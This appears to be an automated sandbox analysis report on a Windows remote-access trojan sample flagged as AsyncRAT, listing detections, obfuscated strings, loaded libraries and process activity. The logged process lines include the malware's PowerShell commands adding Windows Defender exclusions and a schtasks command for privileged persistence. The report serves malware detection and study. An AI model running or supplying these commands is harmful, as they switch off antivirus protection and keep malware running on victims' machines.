Windows Analysis Report
NJRAT DANGEROUS.exe

Malicious sample detected (through community Yara rule)

System Summary

Source: NJRAT DANGEROUS.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.NJRAT DANGEROUS.exe.a40000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.2040464728.0000000000A42000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Code function: 0_2_00007FF848E77282	0_2_00007FF848E77282
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Code function: 0_2_00007FF848E79239	0_2_00007FF848E79239
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Code function: 0_2_00007FF848E71609	0_2_00007FF848E71609
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Code function: 0_2_00007FF848E760C6	0_2_00007FF848E760C6
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Code function: 0_2_00007FF848E720C9	0_2_00007FF848E720C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF848F330E9	2_2_00007FF848F330E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FF848F430E9	6_2_00007FF848F430E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FF848F230E9	8_2_00007FF848F230E9
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 13_2_00007FF848E70DEE	13_2_00007FF848E70DEE
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 13_2_00007FF848E71609	13_2_00007FF848E71609
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 13_2_00007FF848E720C9	13_2_00007FF848E720C9
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 14_2_00007FF848E70DEE	14_2_00007FF848E70DEE
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 14_2_00007FF848E71609	14_2_00007FF848E71609
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 14_2_00007FF848E720C9	14_2_00007FF848E720C9
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 15_2_00007FF848E60DEE	15_2_00007FF848E60DEE
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 15_2_00007FF848E61609	15_2_00007FF848E61609
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 15_2_00007FF848E620C9	15_2_00007FF848E620C9
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 16_2_00007FF848E90DEE	16_2_00007FF848E90DEE
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 16_2_00007FF848E91609	16_2_00007FF848E91609
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Code function: 16_2_00007FF848E920C9	16_2_00007FF848E920C9

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2520 -s 2572

Source: NJRAT DANGEROUS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: NJRAT DANGEROUS.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.NJRAT DANGEROUS.exe.a40000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.2040464728.0000000000A42000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: NJRAT DANGEROUS.exe, XIISYPtSayyijO4BjqyURZBpYZpckRlA7cyAZyrZ4cCawECzppnTpdWXcewMBtGuX.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: NJRAT DANGEROUS.exe, kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: NJRAT DANGEROUS.exe, kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: NJRAT DANGEROUS.exe.0.dr, XIISYPtSayyijO4BjqyURZBpYZpckRlA7cyAZyrZ4cCawECzppnTpdWXcewMBtGuX.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: NJRAT DANGEROUS.exe.0.dr, kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: NJRAT DANGEROUS.exe.0.dr, kj6EsMNdfesTHZOaMh8Jn2WdRS3cx25YAUUGeZuZdYa1kypN2VoZM7M8eUzobi8We.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: NJRAT DANGEROUS.exe, OdTjMbvKwmh2aiheK8U7gl9DxqCdN4Z5SIDGBevv5nlNVSZrEq7IA2o1DdJaFDviAh3pLKAHpU4jV8p16vUbFKKlmg.cs	Base64 encoded string: 'O2DZ3Jx9izLJ6GvSUE89Tpzftf2lB36WvTzHE7MzHimLK7OOncl62wVM7fbUxEP3fJWFnRt5ZTdrtEgexpSPxooDBnpp'
Source: NJRAT DANGEROUS.exe, XOBTV4xzrjIi7ydC4irRLj2m8yvVfEd9wOAS0QebbgneG7yawFJtgOsknzkuOUmh8KjvNbCZIZRO1q6WyiArWzAcDu.cs	Base64 encoded string: 'SnZBlvkNq55LMqgrlKkwx2DPNIWoDCFytK0bhqZZdcbvKnjltFY5qcuP7KCOh97VFDi5X8zP2QxKWGyT2oX3ARfCMtmX', 'ttw6ISjGkMUj3jifngRHH7X8Rgm1jS8XMDytgevzbf8I3Yq8sCTlPoBOpSIXU0TbTxXISnUkgKYFcHwSw3PucN44Srpm', 'xfztfedNIjeuLl441ScfMepWpt6JYevmtSvgYP5IXu0tGAYVJTQfXZbvDWievJDXq89z6TbhcbwQxjKuYsDYKXVtGaEA'
Source: NJRAT DANGEROUS.exe, gdzvroPSWlwimSxWtBgPbsIFQABTC4x2x.cs	Base64 encoded string: 'hMp9qRZJD011qsIlEkLpmvoJgWwUUv634s7LHEy886Co63ZNH81j1fCWwnf6Q2CZ8cCiKB3z0WJ5UFbguYyhoc4Twluk', 'myf1TD6bmVkmbtSDG07RupGSsLwENkiAVhJ4U9K5bSs0dqz8lGdAcH0yOsCxAOe2JRNlc2y6lKizk97rZRR84wSNaePM', 'yyCnvTcd16sLZFmDPTw8o6yNebLsnHz5kOVbwe7IBuFU7ncteH0rjauiv4hFPcCathQmSU0RiRXaBLufjflJncnzQGD7', 'Ug6lUA74VAuRlEQazWNfhwtH5JpgC3GuM44NO2l5qz0TWkfmlqtKi6IUR0UkWnzrJDdchXznLaHQyCFFryo7M1p3Xebp', 'Y0JO1FVNTHGJD7BTQJJmbaXvno66cuW11KoWLTrCt0O5g8znqNJRhvacUlUT8pMcVx5JNZPQavAqd5HDQZefPPICtpv8'
Source: NJRAT DANGEROUS.exe.0.dr, OdTjMbvKwmh2aiheK8U7gl9DxqCdN4Z5SIDGBevv5nlNVSZrEq7IA2o1DdJaFDviAh3pLKAHpU4jV8p16vUbFKKlmg.cs	Base64 encoded string: 'O2DZ3Jx9izLJ6GvSUE89Tpzftf2lB36WvTzHE7MzHimLK7OOncl62wVM7fbUxEP3fJWFnRt5ZTdrtEgexpSPxooDBnpp'
Source: NJRAT DANGEROUS.exe.0.dr, XOBTV4xzrjIi7ydC4irRLj2m8yvVfEd9wOAS0QebbgneG7yawFJtgOsknzkuOUmh8KjvNbCZIZRO1q6WyiArWzAcDu.cs	Base64 encoded string: 'SnZBlvkNq55LMqgrlKkwx2DPNIWoDCFytK0bhqZZdcbvKnjltFY5qcuP7KCOh97VFDi5X8zP2QxKWGyT2oX3ARfCMtmX', 'ttw6ISjGkMUj3jifngRHH7X8Rgm1jS8XMDytgevzbf8I3Yq8sCTlPoBOpSIXU0TbTxXISnUkgKYFcHwSw3PucN44Srpm', 'xfztfedNIjeuLl441ScfMepWpt6JYevmtSvgYP5IXu0tGAYVJTQfXZbvDWievJDXq89z6TbhcbwQxjKuYsDYKXVtGaEA'
Source: NJRAT DANGEROUS.exe.0.dr, gdzvroPSWlwimSxWtBgPbsIFQABTC4x2x.cs	Base64 encoded string: 'hMp9qRZJD011qsIlEkLpmvoJgWwUUv634s7LHEy886Co63ZNH81j1fCWwnf6Q2CZ8cCiKB3z0WJ5UFbguYyhoc4Twluk', 'myf1TD6bmVkmbtSDG07RupGSsLwENkiAVhJ4U9K5bSs0dqz8lGdAcH0yOsCxAOe2JRNlc2y6lKizk97rZRR84wSNaePM', 'yyCnvTcd16sLZFmDPTw8o6yNebLsnHz5kOVbwe7IBuFU7ncteH0rjauiv4hFPcCathQmSU0RiRXaBLufjflJncnzQGD7', 'Ug6lUA74VAuRlEQazWNfhwtH5JpgC3GuM44NO2l5qz0TWkfmlqtKi6IUR0UkWnzrJDdchXznLaHQyCFFryo7M1p3Xebp', 'Y0JO1FVNTHGJD7BTQJJmbaXvno66cuW11KoWLTrCt0O5g8znqNJRhvacUlUT8pMcVx5JNZPQavAqd5HDQZefPPICtpv8'

Source: NJRAT DANGEROUS.exe.0.dr, p42u2CdTpFEJwWFLtRvVzAuqTcRvqzmbx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: NJRAT DANGEROUS.exe.0.dr, p42u2CdTpFEJwWFLtRvVzAuqTcRvqzmbx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: NJRAT DANGEROUS.exe, p42u2CdTpFEJwWFLtRvVzAuqTcRvqzmbx.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: NJRAT DANGEROUS.exe, p42u2CdTpFEJwWFLtRvVzAuqTcRvqzmbx.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@18/19@2/2

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File created: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe

Source: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3176:120:WilError_03
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Mutant created: \Sessions\1\BaseNamedObjects\K1yAbXf0sNHUj3H8
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1876:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2520

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vv13ivgr.bfr.ps1

Source: NJRAT DANGEROUS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: NJRAT DANGEROUS.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: NJRAT DANGEROUS.exe	Virustotal: Detection: 64%
Source: NJRAT DANGEROUS.exe	ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

File read: C:\Users\user\Desktop\NJRAT DANGEROUS.exe

Source: unknown	Process created: C:\Users\user\Desktop\NJRAT DANGEROUS.exe "C:\Users\user\Desktop\NJRAT DANGEROUS.exe"
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NJRAT DANGEROUS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NJRAT DANGEROUS" /tr "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2520 -s 2572
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "NJRAT DANGEROUS" /tr "C:\Users\user\AppData\Roaming\NJRAT DANGEROUS.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJRAT DANGEROUS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
